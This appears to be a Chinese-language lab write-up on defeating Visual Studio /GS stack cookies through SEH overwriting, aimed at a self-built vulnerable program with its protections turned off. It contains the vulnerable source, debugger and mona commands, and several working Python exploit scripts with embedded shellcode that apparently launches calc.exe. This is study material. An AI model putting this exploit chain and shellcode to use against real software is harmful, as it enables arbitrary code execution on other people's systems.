Exploitme2——Stack cookies & SEH

当程序开启GS保护时,我们无法再通过栈溢出覆盖返回地址的方式,来控制执行流。但还有一些其他的方式,比如劫持SEH

参考链接:

环境准备

  • Visual Studio配置
    • 关闭DEP:
      • 链接器DEP (/NXCOMPAT:NO):配置属性—>链接器—>高级—>数据执行保护(DEP)
      • 操作系统DEP(如果开着记得关了):WIN10下:设置—系统—关于—高级系统设置—性能-设置—数据执行保护—选中“DEP(T)”
    • 关闭随机基址(/DYNAMICBASE:NO) :配置属性—>链接器—>高级—>数据执行保护(DEP)
    • 关闭/SDL检查(/sdl-):配置属性—>C/C++—>常规—>SDL检查)
    • 关闭 /SAFESEH:配置属性—>链接器—>高级—>映像具有安全异常处理程序(/SAFESEH:NO)
    • 开启安全检查(/GS) : 配置属性—>C/C++—>代码生成—>安全检查

开始实验

重复实验

重复Exploitme中的实验(先确认关闭/GS时,可成功运行,然后打开/GS

漏洞程序(选择预留栈空间的版本,详情见Exploitme——解决栈空间不足):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <cstdio>

_declspec(noinline) int old_main() {
char name[32];
printf("Reading name from file...\n");

FILE* f = fopen("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);

// *(name+bytes) = '\0'; // 这种写法可以免去数组边界检查,下文对此有分析
name[bytes] = '\0';

fclose(f);
printf("Hi, %s!\n", name);
return 0;
}

#pragma optimize( "", off )
int main() {
char moreStack[100]; // 后面会发现100还是不够,需要改到1000
for (int i = 0; i < sizeof(moreStack); ++i)
moreStack[i] = i;
return old_main();
}

windbgmona搜索jmp esp

1
2
3
.load pykd
!py mona j -r esp -m "ntdll"
# 虽然Exploitme模块关闭了ASLR,但它里面没有符合要求的指令。我们还是得用默认开启了ASLR的系统模块,且每次重启电脑都要重新寻找。
1
0x7755ce33 |   0x7755ce33 (b+0x0010ce33)  : call esp 

exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# python3
with open('D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat', 'wb') as f:
ret_eip = b'\x33\xce\x55\x77' # 小端序
shellcode = (b"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
b"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
b"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
b"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
b"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
b"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
b"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
b"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
b"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
b"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
b"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
b"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
b"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
b"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
b"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
b"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
b"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
b"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
b"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
b"\x30\x03\xc6\xeb\xdd")
name = b'a'*32 + b'b'*4 + ret_eip + shellcode
f.write(name)

visual studio下以release模式调试程序,报错如下:

security-check-failure

windbg下运行,结果如下:

security-check-failure

上面的报错信息是数组超出边界报错,和我们预想的通过cookie检测到栈溢出不同,下面分析原因。

分析汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
00401040  push        ebp  
00401041 mov ebp,esp
00401043 sub esp,24h
00401046 mov eax,dword ptr [__security_cookie (0403004h)] // 读取0x0403004处存放的security_cookie,一个随机值
0040104B xor eax,ebp // cookie = security_cookie ^ ebp
0040104D mov dword ptr [ebp-4],eax // 存储 cookie,供函数返回前进行检查
00401050 push edi
4: char name[32];
5: printf("Reading name from file...\n");
6:
7: FILE* f = fopen("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat", "rb");
8: if (!f)
9: return -1;
10: fseek(f, 0L, SEEK_END);
11: long bytes = ftell(f);
12: fseek(f, 0L, SEEK_SET);
13: fread(name, 1, bytes, f);
14: name[bytes] = '\0';
004010B7 cmp ebx,20h // 数组边界检查
004010BA jae old_main+0ABh (04010EBh)
004010BC push edi
004010BD mov byte ptr name[ebx],0
15: fclose(f);
16:
17: printf("Hi, %s!\n", name);
18: return 0;
004010D6 mov ecx,dword ptr [ebp-4]
004010D9 add esp,0Ch
004010DC xor ecx,ebp
004010DE xor eax,eax
004010E0 pop ebx
004010E1 pop edi
004010E2 call __security_check_cookie (0401147h) // 检查 cookie 是否被破坏
004010E7 mov esp,ebp
004010E9 pop ebp
004010EA ret
14: name[bytes] = '\0';
004010EB call __report_rangecheckfailure (0401277h)
004010F0 int 3

绕过数组边界检查

在开启 /GS 后,执行数组赋值语句 name[bytes]='\0' ( mov byte ptr name[ebx],0) 前,会进行数组边界检查,如果下标超出边界,会直接报错退出程序。

1
2
3
4
004010B7  cmp         ebx,20h  
004010BA jae old_main+0ABh (04010EBh) // 报错,并退出程序
004010BC push edi
004010BD mov byte ptr name[ebx],0

我们可以将 name[bytes]='\0' 替换为以下语句,以避免进行数组边界检查

1
*(name+bytes) = '\0';

重新在Release模式下调试程序,报错信息如下:

security-check-failure

windbg下运行,结果如下:

security-check-failure

确认是通过cookie检测到溢出,符合预期。

栈内存布局

在将 cookie 放入栈后,栈中数据的布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
esp -> 	name[0..3]
name[4..7]
.
.
.
name[28..31]
ebp-4 -> cookie
ebp -> save_ebp
ret_eip
.
.
.

ret_eip在cookie的下面,因此我们无法在不破坏 cookie 的前提下,覆写 ret_rip,而一旦破坏了 cookie,程序将在执行 ret 之前退出。

原来的栈溢出思路不起作用,现在需要新的方法。

SEH绕过cookie

  • SEH存储在栈中,可以被覆盖
  • fread向栈中读入大量字符时,可能超出栈底,导致异常,进而调用已被覆盖的SEH函数
  • 我们实在函数内制造异常进而执行SEH函数,所以即便破坏了cookie也没关系,程序流根本走不到检查cookie那一步。

name.data中有 3000 个‘a’时,在windbg下执行程序,使用!exchain命令可以看到SEH已被覆盖。

1
2
3
0:000> !exchain
0019ff60: 61616161
Invalid exception stack at 61616161

确定seh偏移量

使用mona生成 3000 个字符,并拷贝至“name.dat“文件

1
2
.load pykd
!py mona pc 3000

windbg下运行程序,出现两部分报错信息,第一部分是fread超出了栈底,第二部分是执行SEH但指令地址31684130无效:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(4e94.4b34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0064dbb8 ebx=fffffffe ecx=00000a48 edx=00000bb7 esi=0064d170 edi=001a0000
eip=7713fc8e esp=0019fd98 ebp=0019fdbc iopl=0 nv up ei pl nz na po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203
ucrtbase!memcpy+0x4e:
7713fc8e f3a4 rep movs byte ptr es:[edi],byte ptr [esi]

0:000> g
(4e94.4b34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=31684130 edx=774d8ad0 esi=00000000 edi=00000000
eip=31684130 esp=0019f768 ebp=0019f788 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
31684130 ?? ???

使用mona po命令,确定SEH所在位置的偏移量为212

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:000> .load pykd
0:000> !py mona po 31684130

** You are running pykd.pyd v0.3.4.15. Use at your own risk **

Hold on...
[+] Command used:
!py D:\Program Files (x86)\Windbg\x86\mona.py po 31684130
Looking for 0Ah1 in pattern of 500000 bytes
- Pattern 0Ah1 (0x31684130) found in cyclic pattern at position 212
Looking for 0Ah1 in pattern of 500000 bytes
Looking for 1hA0 in pattern of 500000 bytes
- Pattern 1hA0 not found in cyclic pattern (uppercase)
Looking for 0Ah1 in pattern of 500000 bytes
Looking for 1hA0 in pattern of 500000 bytes
- Pattern 1hA0 not found in cyclic pattern (lowercase)

[+] This mona.py action took 0:00:00.191000

编写shellcode

错误思路

首先想到的一种思路是:

1
payload = nop * (212-4) + jmp_6 + jmp_esp(SEH) + shellcode 

执行流为

1
触发异常->执行SEH(jmp esp),跳转至栈顶执行->从栈顶开始一串nop滑轨->执行jmp 6,跳过SEH,跳转到shellcode->执行shellcode

经过分析,上面这种思路是不可行的,上面我们假设栈顶是nop指令,但实际上,我们填充nop指令是从 name 处开始的,而在调用SEH时,在栈顶和 name 之间有新的数据。

1
2
3
4
esp ->	...			其它数据
...
name[0...3] nop
... nop

也就是说,我们不能将执行流转到栈顶。

不可行思路

当执行seh时,esp的值与shellcode所在地址分别如下:

1
2
esp : 0x0019f768
shellcode: 0x0019ff68

它们之间的差恒为 0x800 ,如果使得SEH指向以下gadget,便能劫持执行流至shellcode:

1
2
ADD   ESP, 0x800
JMP ESP

但这样的gadget很难找。

正确思路

查看栈顶附近的数据,可以发现esp+8位置的数据,和SEHshellcode所在地址距离很近,可以加以利用。

ESP+8

也就是说,如果:

1
SEH = jmp esp+8 或 ret esp+8 或 call esp+8 或 pop xx#pop xx#ret(ppt指令)

程序执行流在执行完SEH后,会去执行 SEH地址的前面四个字节,我们可以在这里写入jmp 6,从而劫持执行流至shellcode

mona搜索ppt指令
  • Exploitme2中的指令高字节都是0x00,不过程序中使用的是fread,不会将payload截断。
  • Exploitme2没开启随机基址,系统重启后,指令依然有效。
1
!py mona findwild -s "pop r32#pop r32#ret" -m Exploitme

得到以下结果,我们选用0x00401a11

1
2
3
4
[+] Results : 
0x00401a11 | 0x00401a11 : pop esi # pop ebx # retn | startnull,ascii {PAGE_EXECUTE_READ} [Exploitme.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (Exploitme.exe), 0x8000
...
Found a total of 8 pointers
测试exp
  • jmp 6的二进制码是EB 06
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
with open('D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat', 'wb') as f:
shellcode = (b"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
b"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
b"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
b"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
b"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
b"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
b"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
b"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
b"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
b"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
b"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
b"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
b"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
b"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
b"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
b"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
b"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
b"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
b"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
b"\x30\x03\xc6\xeb\xdd")
jmp_6 = b'\xeb\x06'
seh = b'\x11\x1a\x40\x00'
payload = b'a'*(212-4) + jmp_6 + b'a'*2 + seh + shellcode + b"a"*3000
f.write(payload)

windbg下运行,结果如图:

access-violation-in-shellcode

seh所在位置与栈底之间的距离,虽然可以装得下shellcode,但满足不了shellcode执行过程中所需。

最终exp

我们可以把 shellcode 放到靠前(距离栈底较远的位置),然后跳转过去。

我们的shellcode长度为 309。因此我们需要修改一下程序源码,以保证栈空间足够存放shellcode

Exploitme.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <cstdio>

_declspec(noinline) int old_main() {
char name[32];
printf("Reading name from file...\n");

FILE* f = fopen("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
*(name+bytes) = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}

#pragma optimize( "", off )
int main() {
char moreStack[1000]; // 增大栈空间
for (int i = 0; i < sizeof(moreStack); ++i)
moreStack[i] = i;
return old_main();
}

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
with open('D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat', 'wb') as f:
shellcode = (b"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
b"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
b"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
b"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
b"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
b"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
b"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
b"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
b"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
b"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
b"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
b"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
b"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
b"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
b"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
b"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
b"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
b"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
b"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
b"\x30\x03\xc6\xeb\xdd")
offset = 1112 # 使用mona重新计算偏移量,得到1112
jmp_6 = b'\xeb\x06' + b'a'*2
jmp_real_shellcode = b"\xE9\x9F\xFB\xFF\xFF" # jmp $-1116
seh = b'\x11\x1a\x40\x00' # ppt
payload = shellcode + b'a'*(offset-len(shellcode)-4) + jmp_6 + seh + jmp_real_shellcode
payload += b'a'*(3000-len(payload))
f.write(payload)

执行流为:

process-flow

再次运行,成功弹出计算器:

pwn

总结

栈空间不足分为两种情况

  • 不够shellcode存在
  • 不够shellcode执行所需

fread无法一下子读取太长的数据,不然会出错

  • 要么限制payload长度,通常不能超过8k

  • 要么修改读取逻辑,进行分块多次读取

    1
    fread(name, 1, bytes, f);

    更改为

    1
    2
    3
    4
    5
    6
    int pos = 0;
    while (pos < bytes) {
    int len = bytes - pos > 200 ? 200 : bytes - pos;
    fread(name + pos, 1, len, f);
    pos += len;
    }